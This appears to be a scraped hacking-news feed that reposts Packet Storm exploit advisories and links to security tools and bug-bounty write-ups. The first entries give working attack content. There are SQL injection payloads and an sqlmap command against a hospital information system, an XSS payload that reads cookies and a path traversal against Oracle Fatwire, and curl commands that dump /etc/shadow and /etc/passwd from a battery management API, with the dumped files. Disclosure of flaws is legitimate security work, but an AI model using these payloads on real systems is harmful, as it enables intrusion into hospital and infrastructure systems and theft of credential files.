Exploit Collector
Care2x Integrated Hospital Info System 2.7 SQL Injection

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Care2x Integrated Hospital Info System version 2.7 suffers from multiple remote SQL injection vulnerabilities.

MD5 | 2edf1e8741d37582e1ac3205362fd224

Download
# Exploit Title: Care2x Integrated Hospital Info System 2.7 - 'Multiple' SQL Injection
# Date: 29.07.2021
# Exploit Author: securityforeveryone.com
# Vendor Homepage: https://care2x.org
# Software Link: https://sourceforge.net/projects/care2002/
# Version: =< 2.7 Alpha
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

DESCRIPTION

In Care2x < 2.7 Alpha, remote attackers can gain access to the database by exploiting a SQL Injection vulnerability via the "pday", "pmonth", "pyear" parameters.

The vulnerability is found in the "pday", "pmonth", "pyear" parameters in GET request sent to page "nursing-station.php".

Example:

/nursing-station.php?sid=sid&lang=en&fwd_nr=&edit=1&retpath=quick&station=123123&ward_nr=1&dept_nr=&pday=[SQL]&pmonth=[SQL]&pyear=[SQL]&checkintern=

if an attacker exploits this vulnerability, attacker may access private data in the database system.

EXPLOITATION

# GET /nursing-station.php?sid=sid&lang=en&fwd_nr=&edit=1&retpath=quick&station=station&ward_nr=1&dept_nr=&pday=[SQL]&pmonth=[SQL]&pyear=[SQL]&checkintern= HTTP/1.1
# Host: Target

Sqlmap command: sqlmap.py -r request.txt --level 5 --risk 3 -p year --random-agent --dbs

Payload1: pyear=2021') RLIKE (SELECT (CASE WHEN (9393=9393) THEN 2021 ELSE 0x28 END)) AND ('LkYl'='LkYl
Payload2: pyear=2021') AND (SELECT 4682 FROM (SELECT(SLEEP(5)))wZGc) AND ('dULg'='dULg

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Oracle Fatwire 6.3 Cross Site Scripting / SQL Injection

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
Oracle Fatwire version 6.3 suffers from cross site scripting and remote SQL injection vulnerabilities.

MD5 | 3c10a991eb8badac274f6dcaed884e44

Download
# Exploit Title: Oracle Fatwire 6.3 - Multiple Vulnerabilities
# Date: 29/07/2021
# Exploit Author: J. Francisco Bolivar @Jfran_cbit
# Vendor Homepage: https://www.oracle.com/index.html
# Version: 6.3
# Tested on: CentOS

1. Xss

Adt parameter is vulnerable to Xss:

https://IPADDRESS/cs/Satellite?c=Page&cid=xxxx&pagename=xxxx&adt=
src="a" onerror=alert(document.cookie);>

2. Path Traversal

https://IPADDRESS/cs/career/getSurvey.jsp?fn=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

3. Blind Sql injection

POST
/cs/Satellite?cid=xx&pagename=XXXXXXX/elementIncludesestPractice/b/searchBestPractice
HTTP/1.1
Host: IPaddress

pillar_bp=&subcategory_bp=&htlcd_bp=&id_ex=
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Longjing Technology BEMS API 1.21 Remote Arbitrary File Download

https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
Longjing Technology BEMS API version 1.21 suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.

MD5 | 6a5637ce7d7f32fbc3a3c1f0931505e7

Download

Longjing Technology BEMS API 1.21 Remote Arbitrary File Download
Vendor: Longjing Technology
Product web page: http://www.ljkj2012.com
Affected version: 1.21

Summary: Battery Energy Management System.

Desc: The application suffers from an unauthenticated arbitrary
file download vulnerability. Input passed through the fileName
parameter through downloads endpoint is not properly verified
before being used to download files. This can be exploited to
disclose the contents of arbitrary and sensitive files through
directory traversal attacks.

Tested on: nginx/1.19.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5657
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
05.07.2021

--
$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/shadow

root:*:18477:0:99999:7:::
daemon:*:18477:0:99999:7:::
bin:*:18477:0:99999:7:::
sys:*:18477:0:99999:7:::
sync:*:18477:0:99999:7:::
games:*:18477:0:99999:7:::
man:*:18477:0:99999:7:::
lp:*:18477:0:99999:7:::
mail:*:18477:0:99999:7:::
news:*:18477:0:99999:7:::
uucp:*:18477:0:99999:7:::
proxy:*:18477:0:99999:7:::
www-data:*:18477:0:99999:7:::
backup:*:18477:0:99999:7:::
list:*:18477:0:99999:7:::
irc:*:18477:0:99999:7:::
gnats:*:18477:0:99999:7:::
nobody:*:18477:0:99999:7:::
_apt:*:18477:0:99999:7:::
$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Rconn : Rconn Is A Multiplatform Program For Creating Generic Reverse Connections

Rconn (r[everse] conn[ection]) is a multiplatform program for creating reverse connections. It lets you consume services that are behind NAT and/or firewall without adding firewall rules or port-forwarding. This is achieved by creating a connection from the node behind the firewall/NAT to a port on your local machine, and then a port is exposed in […]

The post Rconn : Rconn Is A Multiplatform Program For Creating Generic Reverse Connections appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Juumla : Tool Designed To Identify And Scan For Version, Config Files In The CMS Joomla!

Juumla is a python tool developed to identify the current Joomla version and scan for readable Joomla config files. Installing / Getting started A quick guide of how to install and use Juumla. Clone the repository – git clone https://github.com/oppsec/juumla.git Install the libraries – pip3 install -r requirements.txt Run Juumla – python3 main.py -u https://example.com Docker […]

The post Juumla : Tool Designed To Identify And Scan For Version, Config Files In The CMS Joomla! appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Facebook Vulnerability: Expose Group Member — $3000

The issue is Insecure Direct Object with impact malicious user can expose or determine member on closed group. But the issue have limits…Continue reading on Medium »
Read more...

Account takeover via stored xss

Hi everyone! This is Vikram Naidu, Bug bounty hunter from India. Hope you all are safe. This is my first writeup and it is about my recent…Continue reading on Medium »
Read more...

Facebook Vulnerability: Expose Group Member — $3000
https://medium.com/@muhammadsholikhin/facebook-vulnerability-expose-group-member-3000-cca809a53f6b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

The issue is Insecure Direct Object with impact malicious user can expose or determine member on closed group. But the issue have limits…Continue reading on Medium » (https://medium.com/@muhammadsholikhin/facebook-vulnerability-expose-group-member-3000-cca809a53f6b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Account takeover via stored xss
https://medium.com/@vikramroot/account-takeover-via-stored-xss-b774f7a2a3ab?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi everyone! This is Vikram Naidu, Bug bounty hunter from India. Hope you all are safe. This is my first writeup and it is about my recent…Continue reading on Medium » (https://medium.com/@vikramroot/account-takeover-via-stored-xss-b774f7a2a3ab?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Account takeover via stored xss

https://cdn-images-1.medium.com/max/720/1*klI-2CxTB0lKMcO-j94L8A.jpeg
Hi everyone! This is Vikram Naidu, Bug bounty hunter from India. Hope you all are safe. This is my first writeup and it is about my recent…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
BrightScan #ThreatIntelThursday | Logic Bombs

https://cdn-images-1.medium.com/max/1920/1*APAg9SpG7plRSbbpoWvzFA.png
By: Sarah King

Continue reading on OpenAVN »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to hack a Wi-Fi network!

https://cdn-images-1.medium.com/max/2345/1*VckZJ23dTdcBT4u0fHnTQw.jpeg
বর্তমানে বাঙালিরা হ্যাকিং বলতে পাশের বাসার ওয়াইফাই আর গার্লফ্রেন্ডের ফেইসবুক একাউন্ট access করা বোঝে।
যাক একটা ইচ্ছা অন্তত পূরণ করার…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video